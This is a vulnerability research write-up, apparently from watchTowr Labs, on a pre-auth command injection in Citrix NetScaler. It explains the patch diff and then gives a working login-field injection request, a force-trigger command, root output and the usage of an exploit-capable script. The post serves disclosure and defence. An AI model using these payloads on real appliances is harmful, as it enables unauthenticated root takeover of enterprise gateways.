God damn it, we're back in the room again.
We'll probably write more here later, but for now, deal with this picture of our favorite software dev, who works at Citrix (we imagine).
Citrix, before you ask, we do accept our new volunteer role as an extension of your PSIRT function. You may have to compete with other vendors we work with for charity, but we're willing to add you to the roster.
As always, watchTowr clients gain industry-first access to our research, accompanied by Active Defense capabilities to autonomously mitigate exposure. If configured, watchTowr clients' exposure to this vulnerability has already been mitigated.
This research is a glimpse into the capabilities that power our Preemptive Exposure Management solution, enabling organizations to rapidly react to emerging threats: the watchTowr Platform.
We do this every day.
Who Is Citrix NetScaler, and Why Was A Gateway Their First C Project?
Citrix NetScaler (rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access - and NetScaler Gateway specifically serves as the front door for thousands of organizations' remote access infrastructure.
This text above is now contained within a keyboard shortcut.
What is CVE-2026-88771, And Why Does It Have More Friends Than Us?
CVE-2026-88771 is the pre-auth command injection we walk through here. It is one of eight vulnerabilities Citrix fixed in a single bulletin, CTX697096. It affects the default configuration and was exploited in the wild as a zero-day, before any fix existed.
Here is everything the advisory covers:
| CVE | Description | CVSS 4.0 | Exploited in the Wild |
|---|---|---|---|
| CVE-2026-88771 | Improper input validation that lets an unauthenticated attacker run arbitrary commands. Affects the default configuration. | 9.5 Critical | Yes |
| CVE-2026-88772 | Memory overflow that can lead to remote code execution or denial of service when DTLS is enabled (the default for VPN virtual servers). | 9.5 Critical | Yes |
| CVE-2026-88773 | HTTP request smuggling (inconsistent interpretation of HTTP requests). Depends on specific configurations. | 9.3 Critical | Not reported |
| CVE-2026-88774 | NetScaler ADC and NetScaler Gateway vulnerability. Depends on specific configurations. | 7.0 High | Not reported |
| CVE-2026-88775 | Memory overflow. Depends on specific configurations. | 8.8 High | Not reported |
| CVE-2026-88776 | Memory overflow. Depends on specific configurations. | 8.8 High | Not reported |
| CVE-2026-88777 | Memory overflow. Depends on specific configurations. | 8.8 High | Not reported |
| CVE-2026-88778 | Predictable value from previous values. Fixed by enabling Enhanced ISN Generation, not by the upgrade alone. | 8.8 High | Not reported |
The Citrix advisory recommends updating to the following fixed versions:
- Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1-73.37 and later releases
- Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1-64.23 and later releases of 13.1
- Citrix NetScaler ADC 14.1-FIPS 14.1-73.37 FIPS and later releases of 14.1-FIPS
- Citrix NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.279 and later releases of 13.1-FIPS and 13.1-NDcPP
Setting The Scene
To fuel today's analysis, we set up a Citrix NetScaler appliance and compared two versions using our normal "what the hell has changed" process:
- Vulnerable: NetScaler 14.1 build 73.30
- Different: NetScaler 14.1 build 73.37
And So We Set Off On Our Travels - CVE-2026-88771
Although there are many vulnerabilities in this advisory, we decided to look at CVE-2026-88771, the one that is known to be exploited in the wild.
In addition, it is the most impactful and interesting from a "why does the world exist in this way?" and "what did we do wrong as children to deserve this?" perspective.
Being the well-traveled Citrix reverse engineers that we are, we initially thought maybe NSPPE would be the culprit here: our good old friend, where almost all of the vulnerabilities from the past decade in Citrix NetScaler have existed.
However, Citrix clearly likes to play games with us and so this time it actually wasn't the case.
We have had our fair share of reverse engineering the nsppe
binary over the years, and the CWE in the Citrix advisory looked like more “intended NetScaler functionality”, yet somehow different to normal:
A remote code execution vulnerability exists due to improper input validation, which can allow an unauthenticated attacker to execute arbitrary commands. Citrix
Improper input validation that results in command execution? Oh boy. We would say the 80s called, but did they even have phones? Who knows.
Insert joke here for the entirety of HackerNews to argue about again
However, what we did know was one thing: given our experience with nsppe
, we suspected it was very unlikely that command injection existed there and so we did something different. We broke the cycle and looked elsewhere.
Thank God we did this.
grep, sed, and Awkward
One of the interesting files that changed was ns_monuploadd_err.pl
.
Diffing it gave us the following exciting output:
diff --git a/netscaler/ns_monuploadd_err.pl b/netscaler/ns_monuploadd_err.pl
--- a/netscaler/ns_monuploadd_err.pl # 14.1-73.30
+++ b/netscaler/ns_monuploadd_err.pl # 14.1-73.37
@@
-my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |\
-tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`; # [1]
+my $WR_PPE_COREFILE_NAME = "";
+my $CORE_RE = qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/;
+for my $log (@WR_FILES) {
+ open my $fh, '<', $log or next;
+ while (my $line = <$fh>) {
+ $WR_PPE_COREFILE_NAME = "$1-$2" if $line =~ $CORE_RE;
+ }
+ close $fh;
+}
@@
-chomp($WR_PPE_COREFILE_NAME);
-my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
+my $WR_PPE_CORE = "";
+if (open my $find, '-|', 'find', "$OFF_DIR/var/core", '-type', 'f',
+ '(', '-name', $WR_PPE_COREFILE_NAME,
+ '-o', '-name', "$WR_PPE_COREFILE_NAME.gz", ')')
+{
+ while (my $found = <$find>) {
+ chomp $found;
+ if ($found =~ /\A[A-Za-z0-9\/\-.]+\z/) {
+ $WR_PPE_CORE = $found;
+ }
+ }
+ close $find;
+}
Now, what we can see is that the old code appears to be trying to recover the name of a crashed nsppe
core file.
For context, a real Pitboss message stored in .log
files looks like this:
pitboss: NSPPE-00 (12345) unexpectedly died
Which means a matching core file would normally be named something like:
NSPPE-00-12345
Old Code? I Hardly Know Her
The first removed expression starts a command-chain:
At [1]
, the backticks tell Perl to run the enclosed text as a shell command and return its output.
The command-chain then does the following:
grep
searches the log files for a Pitboss PPE failure message.tail -1
keeps the last matching line.sed
removes everything beforeNSPPE
and removes parentheses.awk
takes the first two whitespace-separated fields and joins them with a hyphen.
This is just some shell-fu, which is why it looks a little complicated. It really isn't. Here's another example for you folks.
First, imagine a log message like this
NSPPE-00 (12345) unexpectedly died
When this log message is parsed by the Perl code above, it first removes the parentheses:
NSPPE-00 12345 unexpectedly died
Then it prints field 1, a hyphen, and field 2:
NSPPE-00-12345
The problem is that the script never verifies that those first two fields are really an nsppe
core file name and a numeric process ID.
As always in Citrix land, we trust whatever - and in this case, it trusts whatever text the log contains after the word NSPPE
.
For example, an attacker-controlled log record could contain:
pitboss PPE unexpectedly died NSPPE-00;id>/tmp/watchTowr; X Y
After sed
and awk
, the value stored in $WR_PPE_COREFILE_NAME
is similar to:
NSPPE-00;id>/tmp/watchTowr;-X
At this point, the semicolons are only characters inside a Perl string. The first pipeline does not execute them. The Command Injection happens in the next line, when Perl interpolates that string into another backtick command:
my $WR_PPE_CORE =
`find /var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;
When that next line occurs the shell receives something equivalent to the below:
find /var/core -name NSPPE-00;id>/tmp/watchTowr;-X* -print | tail -1
As you may be guessing, the shell then treats that semicolon as a command separator. It first runs the find
command for those in the back of the room, and then it runs our lovely controlled payload.
The last part fails, but who cares, because our injected command has already executed as root - because pretty much everything on a Citrix NetScaler runs as root.
This is it. This is how APT groups have presumably been ravaging your networks in secret while Citrix kept its mouth shut.
Yes, you’re right again - it took days to get a patch for this.
Can anyone else hear screaming?
Did They Fix It? How? AGI?
Well, dear friends, the new code first replaces the grep | sed | awk
pipeline with normal Perl file handling. It reads each log line and applies this regular expression:
qr/pitboss.*(NSPPE-\d{2})\s*\((\d+)\).*(missed too many heartbeats|unexpectedly died)/
The two captured values are deliberately narrow:
(NSPPE-\d{2})
accepts a Packet Engine name such asNSPPE-00
.(\d+)
accepts only a numeric process ID.
The filename is then created only from those captures:
$WR_PPE_COREFILE_NAME = "$1-$2";
Even if the rest of the log line contains semicolons, pipes, backticks, or redirection characters, those characters are not copied into the filename.
The second change is just as important. The fixed script starts find
using Perl's list form:
open my $find, '-|', 'find', '/var/core', '-type', 'f', ...
Each value is passed to find
as a separate argument. Perl does not build a command string and does not start /bin/sh
, so shell metacharacters cannot be interpreted as commands. The search was also tightened from the prefix pattern NAME*
to only the exact core filename or its exact .gz
form.
Finally, the returned path must match:
/\A[A-Za-z0-9\/\-.]+\z/
The \A
and \z
anchors require the whole path to match. Only letters, digits, /
, -
, and .
are allowed. This is defense-in-depth because the path is later used by older backtick commands elsewhere in the script.
See, Citrix does know about defense.
In short, the patch does what anyone who doesn’t hate themselves would’ve done: it constructs the core name from strictly validated fields, and it executes find
without involving a shell.
BL1NG BL1NG GIVE ME A SHELL.
Sadly, a simple pre-auth request like this can trigger the vulnerability (you need Hackvertor installed to encode the login field (if you’re using Burp or similar)):
POST /nf/auth/doAuthentication.do HTTP/1.1
Host: netscaler-aaa-server
Content-Type: application/x-www-form-urlencoded
login=<@urlencode_all>pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X</@urlencode_all>&passwd=x&savecredentials=false&nsg-x1-logon-button=Log+On
Response:
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'; img-src :* 'self' data:; style-src 'self' 'unsafe-inline'; font-src 'self' data:; frame-src 'self'; child-src 'self' com.citrix.agmacepa://* citrixng://* com.citrix.nsgclient://* vmware-view:// nsgcepa://nsgcepa application://*; form-action 'self'; object-src 'none'; base-uri 'self'; report-uri /nscsp_violation/report_uri
Set-Cookie: NSC_DLGE=yyyyyyy;Secure;HttpOnly;Path=/
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 2253
Cache-control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Type: application/vnd.citrix.authenticateresponse-1+xml; charset=utf-8
X-Citrix-Application: Receiver for Web
successupdate-credentialsctx_hintYYYYYYY/nf/auth/doCredentialUpdate.do/nf/auth/doCancelCredentialUpdate.doCancelnonensg_changepassnsg-login-headingloginusernameusernamensg_usernamensg-login-labeltruepitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/helloxxxx`;# Xoldpwdpasswordnsg_oldpassnsg-login-labeltrue.+passwdnewpwdnewpasswordnsg_newpassnsg-login-labeltrue.+confirmedpwdnewpasswordnsg_confirmpassnsg-login-labeltrue.+nonensg-change-pass-assistive-textns-dialogue-submitnoneSubmit
What is worth mentioning here is that this is not limited to one endpoint. Any endpoint or port that logs data controlled in an HTTP header can trigger this vulnerability.
Failed login attempts, users blocked by rate limits, request parameters, and User-Agent headers can all end up in the logs, and thus many combinations exist.
Even the Citrix management interface is not safe (ha ha, classic foot gun things).
The HTTP request above causes the following entries to be logged:
xxxxxx 0-PPE-0 : default SSLVPN Message 675 0 : "AAAD API: sending login req to aaad for /var/tmp/watchTowr`;# X>, factor , auth type 4129, trans id 1350"
xxxxxx nsaaad[15791]: (0-57) process_kernel_socket: call to authenticate user :pitboss PPE unexpectedly died NSPPE;:`id>/var/tmp/watchTowr`;# X, vsid :11813, userlen 70
xxxxx 0-PPE-0 : default AAATM Message 678 0 : "AAAD RESP: received resp, user: /var/tmp/watchTowr`;# X>, factor: , trans id 1350, pcb trans id 1350, q_flags 1879080964 aaad-resp 15 aaad-flags 0"
Shell We Restart?
As always, we then banged our heads against the wall - in frustration.
The Command Injection doesn't trigger instantly, we have to wait for ns_monuploadd_err.pl
to run, which can take up to 24 hours: this is mildly frustrating if you're us.
To force execution, you can run the following command, but we may or may not have found a technique to force this to fire instantly. For now, though, we’re keeping that to ourselves.
/netscaler/ns_monuploadd_err.pl -WR
Now, let us check whether our command executed:
root@netscaler# ls -la /var/tmp/watchTowr
-rw-r--r-- 1 root wheel 41 Sep 28 09:21 /var/tmp/watchTowr
root@netscaler# cat /var/tmp/watchTowr
uid=0(root) gid=0(wheel) groups=0(wheel)
root@netscaler#
Detection Artefact Generator
As always, we’re here to share our Detection Artefact Generator to determine your own susceptibility and inform remediation in your own environments. It can be found on our GitHub here.
./watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py --target https://all-ur-boxen/ --command 'id>/var/tmp/watchTowr'
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Citrix-Netscaler-CVE-2026-88771.py
(*) Citrix NetScaler PreAuth Command Injection to RCE Detection Artifact Generator
- Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-88771]
[+] connected to https://all-ur-boxen/
[*] payload built: pitboss PPE unexpectedly died NSPPE;id>/var/tmp/watchTowr;# X
[+] poisoning the logs...
[*] triggering force pickup...
[*] remote force pickup in progress
[*] done
Gain early access to our research, and understand your exposure, with the watchTowr Platform
The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform, our Preemptive Exposure Management solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.
The watchTowr Platform combines External Attack Surface Management and Continuous Automated Red Teaming to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.
Request a demo